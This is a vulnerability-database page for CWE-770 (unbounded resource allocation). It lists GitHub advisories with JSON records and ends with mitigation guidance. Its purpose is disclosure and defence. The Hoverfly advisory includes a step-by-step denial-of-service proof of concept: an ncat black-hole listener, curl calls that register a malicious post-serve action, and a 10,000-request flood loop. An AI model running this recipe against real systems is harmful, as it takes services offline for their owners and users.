CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3030 vulnerabilities reference this CWE, most recent first.
GHSA-3WQ7-RQQ7-WX6J
Vulnerability from github – Published: 2026-04-01 21:47 – Updated: 2026-04-01 21:47Summary
For some multipart form fields, aiohttp read the entire field into memory before checking client_max_size.
Impact
If an application uses Request.post() an attacker can send a specially crafted multipart request to force significant temporary memory allocation even when the request is ultimately rejected.
Patch: https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.13.3"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34517"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:47:07Z",
"nvd_published_at": "2026-04-01T21:16:59Z",
"severity": "LOW"
},
"details": "### Summary\n\nFor some multipart form fields, aiohttp read the entire field into memory before checking client_max_size.\n\n### Impact\n\nIf an application uses `Request.post()` an attacker can send a specially crafted multipart request to force significant temporary memory allocation even when the request is ultimately rejected.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145",
"id": "GHSA-3wq7-rqq7-wx6j",
"modified": "2026-04-01T21:47:07Z",
"published": "2026-04-01T21:47:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3wq7-rqq7-wx6j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34517"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "AIOHTTP has late size enforcement for non-file multipart fields causes memory DoS"
}
GHSA-3X3V-W654-M28M
Vulnerability from github – Published: 2026-03-24 06:31 – Updated: 2026-06-30 21:23A flaw was found in Undertow. A remote attacker could exploit this vulnerability by sending an HTTP GET request containing multipart/form-data content. If the underlying application processes parameters using methods like getParameterMap(), the server prematurely parses and stores this content to disk. This could lead to resource exhaustion, potentially resulting in a Denial of Service (DoS).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2.4.0.Beta1"
},
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-3260"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T20:45:48Z",
"nvd_published_at": "2026-03-24T05:16:24Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Undertow. A remote attacker could exploit this vulnerability by sending an HTTP GET request containing multipart/form-data content. If the underlying application processes parameters using methods like `getParameterMap()`, the server prematurely parses and stores this content to disk. This could lead to resource exhaustion, potentially resulting in a Denial of Service (DoS).",
"id": "GHSA-3x3v-w654-m28m",
"modified": "2026-06-30T21:23:42Z",
"published": "2026-03-24T06:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3260"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-3260"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443010"
},
{
"type": "PACKAGE",
"url": "https://github.com/undertow-io/undertow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undertow: Denial of Service via Multipart/Form-Data Parsing on HTTP GET Requests"
}
GHSA-3X8X-79M2-3W2W
Vulnerability from github – Published: 2023-03-19 00:30 – Updated: 2025-02-26 22:17jackson-databind 2.10.x through 2.12.x before 2.12.6 and 2.13.x before 2.13.1 allows attackers to cause a denial of service (2 GB transient heap usage per read) in uncommon situations involving JsonNode JDK serialization.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.12.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.13.0"
},
{
"fixed": "2.13.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-46877"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-20T21:14:14Z",
"nvd_published_at": "2023-03-18T22:15:00Z",
"severity": "HIGH"
},
"details": "jackson-databind 2.10.x through 2.12.x before 2.12.6 and 2.13.x before 2.13.1 allows attackers to cause a denial of service (2 GB transient heap usage per read) in uncommon situations involving JsonNode JDK serialization.",
"id": "GHSA-3x8x-79m2-3w2w",
"modified": "2025-02-26T22:17:21Z",
"published": "2023-03-19T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46877"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/3328"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/3ccde7d938fea547e598fdefe9a82cff37fed5cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.12.6"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.13.1"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/jackson-user/c/OsBsirPM_Vw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind possible Denial of Service if using JDK serialization to serialize JsonNode"
}
GHSA-423G-QV8G-MGCC
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36An issue was discovered in Xen through 4.14.x. Nodes in xenstore have an ownership. In oxenstored, a owner could give a node away. However, node ownership has quota implications. Any guest can run another guest out of quota, or create an unbounded number of nodes owned by dom0, thus running xenstored out of memory A malicious guest administrator can cause a denial of service against a specific guest or against the whole host. All systems using oxenstored are vulnerable. Building and using oxenstored is the default in the upstream Xen distribution, if the Ocaml compiler is available. Systems using C xenstored are not vulnerable.
{
"affected": [],
"aliases": [
"CVE-2020-29486"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-15T18:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Xen through 4.14.x. Nodes in xenstore have an ownership. In oxenstored, a owner could give a node away. However, node ownership has quota implications. Any guest can run another guest out of quota, or create an unbounded number of nodes owned by dom0, thus running xenstored out of memory A malicious guest administrator can cause a denial of service against a specific guest or against the whole host. All systems using oxenstored are vulnerable. Building and using oxenstored is the default in the upstream Xen distribution, if the Ocaml compiler is available. Systems using C xenstored are not vulnerable.",
"id": "GHSA-423g-qv8g-mgcc",
"modified": "2022-05-24T17:36:34Z",
"published": "2022-05-24T17:36:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29486"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2C6M6S3CIMEBACH6O7V4H2VDANMO6TVA"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OBLV6L6Q24PPQ2CRFXDX4Q76KU776GKI"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-30"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4812"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-352.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4265-CCF5-PHJ5
Vulnerability from github – Published: 2024-02-19 09:30 – Updated: 2025-02-13 19:13Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26.
Users are recommended to upgrade to version 1.26, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.commons:commons-compress"
},
"ranges": [
{
"events": [
{
"introduced": "1.21"
},
{
"fixed": "1.26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-26308"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-20T23:59:29Z",
"nvd_published_at": "2024-02-19T09:15:38Z",
"severity": "MODERATE"
},
"details": "Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26.\n\nUsers are recommended to upgrade to version 1.26, which fixes the issue.",
"id": "GHSA-4265-ccf5-phj5",
"modified": "2025-02-13T19:13:31Z",
"published": "2024-02-19T09:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26308"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-compress"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/ch5yo2d21p7vlqrhll9b17otbyq4npfg"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240307-0009"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/02/19/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Commons Compress: OutOfMemoryError unpacking broken Pack200 file"
}
GHSA-42CR-CM2X-XXXJ
Vulnerability from github – Published: 2024-04-10 18:30 – Updated: 2024-04-10 18:30lunary-ai/lunary version 0.3.0 is vulnerable to unauthorized project creation due to insufficient server-side validation of user account types during project creation. In the free account tier, users are limited to creating only two projects. However, this restriction is enforced only in the web UI and not on the server side, allowing users to bypass the limitation and create an unlimited number of projects without upgrading their account or incurring additional charges. This vulnerability is due to the lack of checks in the project creation endpoint.
{
"affected": [],
"aliases": [
"CVE-2024-1599"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T17:15:52Z",
"severity": "MODERATE"
},
"details": "lunary-ai/lunary version 0.3.0 is vulnerable to unauthorized project creation due to insufficient server-side validation of user account types during project creation. In the free account tier, users are limited to creating only two projects. However, this restriction is enforced only in the web UI and not on the server side, allowing users to bypass the limitation and create an unlimited number of projects without upgrading their account or incurring additional charges. This vulnerability is due to the lack of checks in the project creation endpoint.",
"id": "GHSA-42cr-cm2x-xxxj",
"modified": "2024-04-10T18:30:47Z",
"published": "2024-04-10T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1599"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/48d66a3deef8788fda7621e88f0e3a8a4a1ddeb9"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/f1f9e9d6-de5f-48c4-b4f4-fbd192370417"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-42J2-W334-QXW7
Vulnerability from github – Published: 2026-07-14 18:04 – Updated: 2026-07-14 18:04Summary:
Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.
Details:
1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):
go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)
Post-serve actions are executed in separate goroutines with no recovery wrapper.
2. HTTP client has no timeout (core/action/action.go:128-143):
req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req) // No timeout! Blocks forever.
http.DefaultClient has zero timeout by default in Go. If the remote server:
- Accepts the TCP connection but never sends a response
- Establishes TLS but never completes the handshake
- Uses TCP window size 0 (flow control stall)
...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.
3. No goroutine limit or backpressure:
There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.
4. The goroutine is never cleaned up:
The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.
Environment:
- Hoverfly version: v1.12.7
- Operating System: macOS Darwin 25.4.0
- Go version: 1.26.2
- Configuration: Default (no flags required)
POC:
Step 1: Start a black-hole TCP listener (accepts connections, never responds)
# Option A: Use ncat
ncat -l -k 9999 &
# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)
Step 2: Register remote post-serve action pointing to the black hole
curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
-H "Content-Type: application/json" \
-d '{
"actionName": "leak",
"remote": "http://192.0.2.1:9999/blackhole",
"delayInMs": 0
}'
Step 3: Load a catch-all simulation
curl -X PUT http://localhost:8888/api/v2/simulation \
-H "Content-Type: application/json" \
-d '{
"data": {
"pairs": [{
"request": {"path": [{"matcher": "glob", "value": "*"}]},
"response": {"status": 200, "body": "ok", "postServeAction": "leak"}
}],
"globalActions": {"delays": [], "delaysLogNormal": []}
},
"meta": {"schemaVersion": "v5.2"}
}'
Step 4: Flood with requests
# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
curl -s -x http://localhost:8500 "http://target.com/req${i}" &
# Throttle to avoid local FD exhaustion
[ $((i % 100)) -eq 0 ] && wait
done
Verified memory impact on Hoverfly v1.12.7:
Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)
At this rate: - 1,000 requests = ~64 MB leaked - 10,000 requests = ~640 MB leaked - 100,000 requests = ~6.4 GB leaked → OOM crash
Impact:
An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:
- Registering a remote post-serve action pointing to a non-responsive endpoint.
- Loading a catch-all simulation that triggers the action on every request.
- Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.12.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/SpectoLabs/hoverfly"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50018"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T18:04:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary:\n\nRemote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.\n\n### Details:\n\n**1. Remote actions executed in goroutines without timeout (`core/hoverfly.go:224-228`):**\n\n```go\ngo postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)\n```\n\nPost-serve actions are executed in separate goroutines with no recovery wrapper.\n\n**2. HTTP client has no timeout (`core/action/action.go:128-143`):**\n\n```go\nreq, err := http.NewRequest(\"POST\", action.Remote, bytes.NewBuffer(pairViewBytes))\n// ...\nresp, err := http.DefaultClient.Do(req) // No timeout! Blocks forever.\n```\n\n`http.DefaultClient` has zero timeout by default in Go. If the remote server:\n- Accepts the TCP connection but never sends a response\n- Establishes TLS but never completes the handshake \n- Uses TCP window size 0 (flow control stall)\n\n...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.\n\n**3. No goroutine limit or backpressure:**\n\nThere is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.\n\n**4. The goroutine is never cleaned up:**\n\nThe only exit path from `Execute()` is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.\n\n### Environment:\n\n- **Hoverfly version:** v1.12.7\n- **Operating System:** macOS Darwin 25.4.0\n- **Go version:** 1.26.2\n- **Configuration:** Default (no flags required)\n\n### POC:\n\n**Step 1: Start a black-hole TCP listener (accepts connections, never responds)**\n\n```bash\n# Option A: Use ncat\nncat -l -k 9999 \u0026\n\n# Option B: Use a non-routable IP (connections hang at TCP SYN)\n# 192.0.2.1 is TEST-NET-1, guaranteed non-routable\n# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)\n```\n\n**Step 2: Register remote post-serve action pointing to the black hole**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"actionName\": \"leak\",\n \"remote\": \"http://192.0.2.1:9999/blackhole\",\n \"delayInMs\": 0\n }\u0027\n```\n\n**Step 3: Load a catch-all simulation**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/simulation \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"data\": {\n \"pairs\": [{\n \"request\": {\"path\": [{\"matcher\": \"glob\", \"value\": \"*\"}]},\n \"response\": {\"status\": 200, \"body\": \"ok\", \"postServeAction\": \"leak\"}\n }],\n \"globalActions\": {\"delays\": [], \"delaysLogNormal\": []}\n },\n \"meta\": {\"schemaVersion\": \"v5.2\"}\n }\u0027\n```\n\n**Step 4: Flood with requests**\n\n```bash\n# Each request spawns an immortal goroutine\nfor i in $(seq 1 10000); do\n curl -s -x http://localhost:8500 \"http://target.com/req${i}\" \u0026\n # Throttle to avoid local FD exhaustion\n [ $((i % 100)) -eq 0 ] \u0026\u0026 wait\ndone\n```\n\n**Verified memory impact on Hoverfly v1.12.7:**\n\n```\nMemory before: 20,064 KB\nMemory after 50 requests: 23,376 KB\nMemory increase: 3,312 KB (66 KB per goroutine)\n```\n\nAt this rate:\n- 1,000 requests = ~64 MB leaked\n- 10,000 requests = ~640 MB leaked\n- 100,000 requests = ~6.4 GB leaked \u2192 OOM crash\n\n### Impact:\n\nAn attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:\n\n1. Registering a remote post-serve action pointing to a non-responsive endpoint.\n2. Loading a catch-all simulation that triggers the action on every request.\n3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.",
"id": "GHSA-42j2-w334-qxw7",
"modified": "2026-07-14T18:04:55Z",
"published": "2026-07-14T18:04:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7"
},
{
"type": "WEB",
"url": "https://github.com/SpectoLabs/hoverfly/pull/1228"
},
{
"type": "PACKAGE",
"url": "https://github.com/SpectoLabs/hoverfly"
},
{
"type": "WEB",
"url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions"
}
GHSA-42JC-V69J-G38F
Vulnerability from github – Published: 2026-06-22 21:31 – Updated: 2026-06-22 21:31Gophish through 0.12.1 contains a denial of service vulnerability that allows authenticated users with the User role to exhaust server memory by uploading a crafted Office document as an email template attachment. The ApplyTemplate() function in models/attachment.go processes Office documents as ZIP archives and calls ioutil.ReadAll() on each contained file entry without enforcing size restrictions on uncompressed content, allowing a zip bomb payload to expand to several gigabytes in memory and cause the process to be terminated by the operating system.
{
"affected": [],
"aliases": [
"CVE-2026-39904"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-22T21:16:23Z",
"severity": "HIGH"
},
"details": "Gophish through 0.12.1 contains a denial of service vulnerability that allows authenticated users with the User role to exhaust server memory by uploading a crafted Office document as an email template attachment. The ApplyTemplate() function in models/attachment.go processes Office documents as ZIP archives and calls ioutil.ReadAll() on each contained file entry without enforcing size restrictions on uncompressed content, allowing a zip bomb payload to expand to several gigabytes in memory and cause the process to be terminated by the operating system.",
"id": "GHSA-42jc-v69j-g38f",
"modified": "2026-06-22T21:31:00Z",
"published": "2026-06-22T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39904"
},
{
"type": "WEB",
"url": "https://github.com/ashikmd7/GoPhish-0.12.1/blob/main/Unbounded%20Memory%20Allocation%20in%20Office%20Attachment%20Processing%20Leads%20to%20Server%20DoS/README.md"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gophish-denial-of-service-via-office-document-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-42X7-FJC5-38VR
Vulnerability from github – Published: 2022-11-05 12:00 – Updated: 2026-05-12 12:31The Linux kernel NFSD implementation prior to versions 5.19.17 and 6.0.2 are vulnerable to buffer overflow. NFSD tracks the number of pages held by each NFSD thread by combining the receive and send buffers of a remote procedure call (RPC) into a single array of pages. A client can force the send buffer to shrink by sending an RPC message over TCP with garbage data added at the end of the message. The RPC message with garbage data is still correctly formed according to the specification and is passed forward to handlers. Vulnerable code in NFSD is not expecting the oversized request and writes beyond the allocated buffer space. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
{
"affected": [],
"aliases": [
"CVE-2022-43945"
],
"database_specific": {
"cwe_ids": [
"CWE-131",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-04T19:15:00Z",
"severity": "HIGH"
},
"details": "The Linux kernel NFSD implementation prior to versions 5.19.17 and 6.0.2 are vulnerable to buffer overflow. NFSD tracks the number of pages held by each NFSD thread by combining the receive and send buffers of a remote procedure call (RPC) into a single array of pages. A client can force the send buffer to shrink by sending an RPC message over TCP with garbage data added at the end of the message. The RPC message with garbage data is still correctly formed according to the specification and is passed forward to handlers. Vulnerable code in NFSD is not expecting the oversized request and writes beyond the allocated buffer space. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"id": "GHSA-42x7-fjc5-38vr",
"modified": "2026-05-12T12:31:28Z",
"published": "2022-11-05T12:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43945"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
},
{
"type": "WEB",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f90497a16e434c2211c66e3de8e77b17868382b8"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20221215-0006"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/171289/Kernel-Live-Patch-Security-Notice-LNS-0092-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4328-HWX7-X644
Vulnerability from github – Published: 2025-10-27 12:32 – Updated: 2025-10-27 12:32An attacker that gains SSH access to an unprivileged account may be able to disrupt services (including SSH), causing persistent loss of availability.
{
"affected": [],
"aliases": [
"CVE-2025-59459"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-27T11:15:40Z",
"severity": "MODERATE"
},
"details": "An attacker that gains SSH access to an unprivileged account may be able to disrupt services (including SSH), causing persistent loss of availability.",
"id": "GHSA-4328-hwx7-x644",
"modified": "2025-10-27T12:32:52Z",
"published": "2025-10-27T12:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59459"
},
{
"type": "WEB",
"url": "https://sick.com/psirt"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
},
{
"type": "WEB",
"url": "https://www.first.org/cvss/calculator/3.1"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0013.json"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0013.pdf"
},
{
"type": "WEB",
"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
